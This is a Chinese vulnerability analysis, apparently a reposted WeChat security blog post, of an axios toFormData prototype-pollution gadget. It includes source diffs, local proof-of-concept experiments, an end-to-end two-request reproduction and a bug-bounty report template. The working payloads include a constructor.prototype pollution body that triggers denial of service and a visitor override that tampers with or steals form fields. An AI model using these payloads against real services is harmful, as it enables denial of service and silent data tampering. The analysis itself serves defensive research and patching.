文章总结： 本文深度解析CVE-2026-101909，指出Axios并非原型污染入口而是消费污染值的Gadget。受影响版本为0.28.0至0.34.0及1.15.1至1.20.0，修复版本为0.34.0与1.20.0。实测仅maxDepth、visitor、Blob三个属性可利用，其中maxDepth门槛最低可致DoS。文章提供完整POC与双版本对照验证，强调需配合其他污染源才能利用。 综合评分： 88 文章分类： 漏洞分析,代码审计,WEB安全

---

CVE-2026-101909 深度解析：Axios 不是漏洞入口，而是原型污染的「放大器」

原创

钟智强 钟智强

哪吒网络安全

2026年9月29日 22:42 马来西亚

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

很多人看到这个 CVE 的第一反应是：「Burp 里改一下 Axios 的 maxDepth 就能打」。

这个理解是错的。本文用可运行的本地 POC + 真实源码 diff，把「污染源」和「Gadget」这两件事彻底拆开。

写在前面

CVE-2026-101909 在传播过程中被简化得太厉害了，出现了大量失真表述：

·错误说法：「Axios 存在 RCE」

·错误说法：「Burp 改个参数就能控制 Axios 序列化」

·错误说法：「6 个属性都能被污染」

这些说法里，只有最后一条「部分正确」。本文所有结论均来自本地实测（Node.js v20 + axios 1.19.0 / 1.20.0 双版本对照），不是纸上推演。

先校正版本信息：

| | | | — | — | | 项目 | 内容 | | 漏洞名称 | Prototype Pollution Gadget in axios toFormData Options | | 受影响区间 | >= 0.28.0 < 0.34.0 以及 >= 1.15.1 < 1.20.0 | | 修复版本 | 0.34.0 与 1.20.0 | | 漏洞类型 | Prototype Pollution **Gadget**（非独立入口） |

01 一句话结论

Axios 在这里不产生污染，它只「消费」污染。

攻击者

  │

  ▼

另一处漏洞（unsafe merge / 递归赋值 / 危险 parser）   ← 污染源，与 Axios 无关

  │

  ▼

Object.prototype 被写入 maxDepth / visitor / Blob

  │

  ▼

Axios toFormData() 执行时，options = {} 也会沿原型链读到这些值

  │

  ▼

序列化行为被劫持 → 500 / DoS / 字段被静默丢弃或篡改

关键在于：如果目标不存在 prototype-pollution 的入口，光是有个 [email protected]，什么都打不成。

02 原型链：理解一切的前提

先把 Axios 放一边。

const options = {};

Object.prototype.maxDepth = 0;

Object.hasOwn(options, “maxDepth”);  // false ← 自身确实没有

options.maxDepth;                    // 0     ← 但就是读到了

这两行结果同时成立，就是原型链查找：

options 自身是空对象，JS 在它身上找不到 maxDepth，就自动沿原型链向上找到 Object.prototype.maxDepth。

这就是 CVE 的全部基础——也是为什么 axios.toFormData(data, form, {}) 传一个空对象进去，照样会被劫持。

03 根因：两个版本，同一处逻辑，两种写法

我把 axios 1.19.0 和 1.20.0 都装上，直接 diff 了 lib/helpers/toFormData.js。修复手法极其干净：

1.19.0（受影响）

options = utils.toFlatObject(

  options,

  {

    metaTokens: true,

    dots: false,

    indexes: false,      // ← 注意：默认值对象里只有这三个键

  },

  false,

  function defined(option, source) {

    return !utils.isUndefined(source[option]);

  }

);

const metaTokens = options.metaTokens;

const visitor    = options.visitor || defaultVisitor;

const dots       = options.dots;

const indexes    = options.indexes;

const _Blob      = options.Blob || (typeof Blob !== ‘undefined’ && Blob);

const maxDepth   = options.maxDepth === undefined

  ? DEFAULT_FORM_DATA_MAX_DEPTH

  : options.maxDepth;

1.20.0（已修复）

const option = (name, fallback) => {

  const value = utils.getSafeProp(options, name);

  return utils.isUndefined(value) ? fallback : value;

};

const metaTokens = option(‘metaTokens’, true);

const visitor    = option(‘visitor’) || defaultVisitor;

const dots       = option(‘dots’, false);

const indexes    = option(‘indexes’, false);

const _Blob      = option(‘Blob’) || (typeof Blob !== ‘undefined’ && Blob);

const maxDepth   = option(‘maxDepth’, DEFAULT_FORM_DATA_MAX_DEPTH);

而 getSafeProp 的实现是：

const getSafeProp = (obj, prop) =>

  obj != null && hasOwnInPrototypeChain(obj, prop) ? obj[prop] : undefined;

hasOwnInPrototypeChain 会沿原型链逐个检查 hasOwnProperty，但一旦越过 Object.prototype 这个边界就停止。于是「只从 Object.prototype 继承来的属性」一律被视为 undefined，污染值再也无法被读到。

这里有个绝大多数文章都没讲透的点

toFlatObject 的第一个参数是用户传入的 options，第二个参数是默认值对象。合并后返回的 options 里，metaTokens / dots / indexes一定存在（被默认值兜底了），而 maxDepth / visitor / Blob不一定存在。

后果是：

·options.dots → 命中默认值 false，继承值被遮蔽，污染无效

·options.maxDepth → 自身没有、默认值也没有 → 只能沿原型链找 → 污染命中

这不是玄学，是默认值对象里有没有那个键决定的。

04 实测：6 个属性里，只有 3 个真能被打到

我对公开描述中提到的 6 个属性逐个做了对照实验（代码见文末 POC 的 EXP-3），结果如下：

| | | | | | | — | — | — | — | — | | option | 默认值兜底 | 可继承污染 | 实测效果 | 利用门槛 | | maxDepth | 无 | 是 | 抛 AxiosError，请求 500 / DoS | **低（标量即可）** | | visitor | 无 | 是 | 字段被静默丢弃或篡改 | 高（需函数注入） | | Blob | 无 | 是 | Blob 构造器被替换 | 高（需函数注入） | | dots | false | 否 | 无任何变化 | 不适用 | | indexes | false | 否 | 无任何变化 | 不适用 | | metaTokens | true | 否 | 无任何变化 | 不适用 |

所以「6 个属性都能被污染」是常见误解。 真正可利用的是 3 个，而其中只有 maxDepth 是低门槛——因为它只需要一个标量值，而 visitor 和 Blob 需要攻击者具备函数注入能力（JSON 本身无法传递函数，你得先有更强的 primitive）。

05 本地 POC：一步步跑通

环境

mkdir axios-cve-lab && cd axios-cve-lab

npm init -y

npm install [email protected]     # 落在 >=1.15.1 <1.20.0 受影响区间

建议同时准备修复版做对照：

npm install [email protected] –prefix ./node_modules_fixed

EXP-1 最小验证：没有的属性，就是能读到

Object.prototype.maxDepth = 0;

const options = {};

console.log(Object.hasOwn(options, “maxDepth”)); // false  ← 自身没有

console.log(options.maxDepth);                   // 0      ← 却读到了

EXP-2 Gadget 触发：传空对象照样炸

const axios = require(“axios”);

const data  = { username: “alice”, profile: { role: “user” } };

const fd = new FormData();

axios.toFormData(data, fd, {});   // ← 第三个参数是空对象

实测输出：

before : OK [[“username”,”alice”],[“profile[role]”,”user”]]

after  : THROW AxiosError: Object is too deeply nested (1 levels). Max depth: 0

注意这里的关键细节：第三个参数 {} 里什么都没写，攻击者的输入完全是 Object.prototype 上的。这就是 gadget 的定义。

maxDepth = 0 意味着「不允许任何一层嵌套」，throwIfMaxDepthExceeded 被触发，直接抛 AxiosError。在真实业务里，这个异常会顺着上传/表单提交链路往上冒，表现为 HTTP 500——这就是它的现实影响：拒绝服务 / 功能中断。

EXP-3 全属性矩阵

见文末 poc.js 的 EXP-3，逐个污染、逐个比对序列化结果，输出上表。

EXP-4 visitor：最阴的一种，不抛异常

visitor 是遍历每个字段时的回调函数。1.19.0 的调用逻辑是：

const result = !(utils.isUndefined(el) || el === null) &&

  visitor.call(formData, el, key, path, exposedHelpers);

if (result === true) {

  build(el, path ? path.concat(key) : [key], depth + 1);

}

默认 visitor 负责 formData.append(…)。一旦 visitor 被攻击者顶替，append 就不会再发生。实测三种效果：

// B1 静默丢弃全部字段 —— 请求体被清空，服务端收到合法空表单

OK []

// B2 篡改并注入字段 —— 攻击者凭空写入任意 key/value

OK [[“username”,”pwned”],[“injected_by_attacker”,”pwned”]]

// B3 代理默认 visitor —— 完整遍历并窃取全量字段（this 就是 FormData）

OK [[“username”,”alice”],[“profile[role]”,”user”],[“profile[vip]”,”false”]]

窃取到的字段: [[“username”,”alice”],[“profile.role”,”user”],[“profile.vip”,false]]

B1 和 B2 都不抛异常、不改状态码，日志里什么异常都没有，只是数据悄悄变了——这类问题在真实系统里极难被察觉。

不过要冷静：visitor 是个函数，JSON 里没法直接传函数。要走通这条路径，攻击者需要更强的 primitive（比如能控制对象属性的 merge 允许函数值、或存在其他代码注入）。所以它属于「高门槛」，别在报告里把它和 maxDepth 混为一谈。

EXP-5 Blob 构造器劫持

let hits = 0;

Object.prototype.Blob = function (parts) { hits++; return { tag: “HIJACKED” }; };

// before : OK [[“buf”,{}]]

// after  : OK [[“buf”,”[object Object]”]]

// 攻击者构造器被调用次数 = 1

注意：只有数据里存在 ArrayBuffer / TypedArray 时才会走到 new _Blob([value]) 分支。我第一次用 new Blob() 测的时候「看起来没效果」，是数据选错了——这也是容易误判的地方。

EXP-6 双版本对照

axios 1.19.0（受影响） 污染后: THROW AxiosError: Object is too deeply nested (1 levels). Max depth: 0

axios 1.20.0（已修复） 污染后: OK [[“username”,”alice”],[“profile[role]”,”user”]]

同样的污染、同样的代码，1.20.0 完全免疫。

06 端到端复现：两个请求，中间不传任何参数

本地 POC 只证明了「Axios 会吃污染值」。真实场景要证明的是：一次恶意请求，能影响后续所有请求。

我用 Node 内置 http 起了一个服务（完整代码见 e2e.js）：

·POST /api/preferences —— 一个存在原型污染的配置保存接口（脆弱的递归 merge，与 Axios 无关）

·POST /api/upload —— 一个完全正常的上传接口，内部调用 axios.toFormData()

实测输出：

STEP 0  基线：正常上传

   -> {“status”:200,”fields”:[[“username”,”alice”],[“profile[role]”,”user”]]}

STEP 1a 攻击者提交 {“__proto__”:{“maxDepth”:0}}

   [server] Object.prototype.maxDepth = undefined      （未污染成功）

   -> 随后正常上传: {“status”:200,…}

STEP 1b 改用 {“constructor”:{“prototype”:{“maxDepth”:0}}}

   [server] Object.prototype.maxDepth = 0              （污染成功）

STEP 2  受害者发起完全正常的业务请求（请求体里没有任何攻击参数）

   -> HTTP 500 {“error”:”Object is too deeply nested (1 levels). Max depth: 0″}

附赠一个高频坑点

{"\_\_proto\_\_": {...}} 在多数 merge 实现下根本不生效。

原因：merge 里读 source[“__proto__”] 时，拿到的是对象的真实原型（Object.prototype），而不是 JSON 里那个键的值，递归合并自然什么也没写成。

真正稳的路径是：

{ “constructor”: { “prototype”: { “maxDepth”: 0 } } }

target.constructor 指向 Object 函数，.prototype 就是 Object.prototype，赋值直接落地。

大量 POC 死在这一步，然后被误判为「漏洞不存在」。 你在 Burp 里试的时候，如果 __proto__ 没反应，别急着下结论，换 constructor.prototype 再试一次。

07 影响评估：这不是 RCE

必须说清楚，否则报告会被打回：

| | | | | — | — | — | | 断言 | 是否成立 | 说明 | | [email protected] 是脆弱依赖 | 成立 | 版本落在受影响区间 | | 目标因此可被 RCE | 不成立 | 需要同进程内存在 PP primitive，且 RCE 还需额外条件 | | 可被 DoS / 功能中断 | 成立 | maxDepth 触发异常，实测 HTTP 500 | | 数据可被静默篡改 | 条件成立 | 需 visitor 函数注入能力 |

正确的表述应该是：

目标使用受影响版本的 axios，且应用中存在独立的 prototype-pollution 入口；两者组合后，攻击者可通过跨请求污染 Object.prototype，使 axios.toFormData() 读取被污染的 option，导致序列化异常（500）或字段被静默丢弃/篡改。

把「依赖脆弱」和「目标可利用」分开写，报告的通过率会高很多。

08 自查手册

1. 确认实际安装版本

npm ls axios

不要只看 package.json。package.json → package-lock.json → 实际安装版本，这三者可能不一致，以 npm ls 为准。

2. Axios 是间接依赖时

npm why axios

输出会告诉你到底是谁把它带进来的：

my-app

└─┬ some-package

  └── [email protected]

如果你的 package.json 里根本没有 axios，但 npm ls 能查到，说明它在依赖树的深处——这种情况最容易漏。

3. 找 sink（代码里到底有没有用到）

grep -R “toFormData” .

grep -R “formSerializer” .

grep -R “FormData” .

没有 sink 就没有 gadget。 即使版本受影响，如果代码里从不调用 toFormData()，这条链就是断的——这一点在写报告前一定要确认。

09 Bug Bounty 实战：怎么找、怎么写

要找的是「两个东西的交叉」

Target

   │

   ├── A. Prototype Pollution Primitive ── JSON parser / 递归 merge / 配置合并 / query parser

   │

   └── B. Axios Gadget ────────────────── toFormData() 调用点

                │

                └── 两者都存在，才构成完整链条

单独报「axios 1.19.0」几乎没有价值。厂商大概率回复「已知依赖风险，非可利用漏洞」。

报告模板（可直接套用）

标题：Prototype pollution in /api/preferences leads to DoS via axios

      toFormData() gadget (axios 1.19.0, CVE-2026-101909)

影响版本：axios 1.19.0（>=1.15.1 <1.20.0 区间）

前置条件：/api/preferences 存在递归 merge，可污染 Object.prototype

复现步骤：

  1. POST /api/preferences  {“constructor”:{“prototype”:{“maxDepth”:0}}}

  2. POST /api/upload       （请求体为空，无任何攻击参数）

  3. 观察：HTTP 500，服务端异常 Object is too deeply nested

影响：跨请求拒绝服务；上传/表单提交功能全局不可用

修复建议：升级 axios 至 1.20.0，并修复 /api/preferences 的 merge 逻辑

常见被打回的原因

1.只报版本，不报 primitive —— 缺少可复现的污染入口

2.声称 RCE —— 超出实际影响，可信度直接归零

3.POC 用了 \_\_proto\_\_ —— 自己复现失败，还以为漏洞不存在

4.没证明跨请求 —— 必须展示「两个独立请求」的完整链条

10 修复与缓解

首选：升级

npm install [email protected]     # 1.x 线

npm install [email protected]     # 0.x 线

npm ls axios                 # 确认生效

暂时升不了级时

治本还是要堵住污染源，gadget 只是放大器：

·给递归 merge 加 __proto__ / constructor / prototype 黑名单

·用 Object.create(null) 承载不可信的合并结果

·对不可信输入用 JSON.parse(s, reviver) 过滤危险键

·合并前校验 Object.hasOwn(target, key)

·Node 可考虑以 –frozen-intrinsics 启动（需评估兼容性）

11 FAQ：几个高频误解

Q：Burp 里直接改成 isAdmin=true 是不是这个 CVE？

不是。那是通用 prototype pollution 造成的权限绕过，走的是应用自己的权限判断逻辑。CVE-2026-101909 特指污染值被 Axios 的 toFormData() 消费这一条路径。两者是「污染源」和「 Gadget」的关系。

Q：Object.prototype.isAdmin = false 然后污染成 true 能绕过权限吗？

能，但那是应用逻辑的问题，跟 Axios 无关。别把它写进这个 CVE 的报告里。

Q：我只看到 axios 版本受影响，能报吗？

能报「脆弱依赖」，但别声称可利用。真正有价值的是找到 primitive + gadget 的完整链条。

Q：visitor 被污染是不是就能执行任意代码？

需要函数注入能力，门槛远高于 maxDepth。JSON 无法传递函数，你得先证明目标存在允许写入函数值的 primitive。

12 一图流总结

ATTACKER

    │

    ▼

Prototype Pollution（另一处漏洞，非 Axios）

    │

    ▼

┌─────────────────────────┐

│     Object.prototype    │

│  maxDepth / visitor / Blob   ← 只有这 3 个无默认值兜底

└───────────┬─────────────┘

            │ prototype lookup

            ▼

┌─────────────────────────┐

│   Axios toFormData()    │

│   读取 inherited option │

└───────────┬─────────────┘

            ▼

  500 / DoS / 字段被静默丢弃

记住这句话就够了： 这个 CVE 的核心不是「Burp 直接改了 Axios 的参数」，而是「Burp 触发另一处污染 → 污染 Object.prototype → Axios 在正常运行时经原型链读到了这个值」。

附：POC 文件说明

| | | | — | — | | 文件 | 用途 | | poc.js | 6 组本地实验：继承验证 / maxDepth / 全属性矩阵 / visitor 三效果 / Blob / 双版本对照 | | e2e.js | 端到端两阶段 HTTP 复现，含 \_\_proto\_\_ 与 constructor.prototype 对比 |

npm install [email protected]

node poc.js

node e2e.js

本文所有输出均为本地实测结果（Node.js v20.19.5，axios 1.19.0 与 1.20.0 双版本对照）。版本区间与官方定名以 Axios 官方安全公告为准。

*如果你也在挖这条链，欢迎把你的实测结果贴在评论区——尤其是哪些 merge 实现对 __proto__ 有效、哪些必须走 constructor.prototype，这块值得单独攒一份清单。*

加入我们团队。以下是群聊二维码：

---

---

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：哪吒网络安全 钟智强 钟智强《CVE-2026-101909 深度解析：Axios 不是漏洞入口，而是原型污染的「放大器」》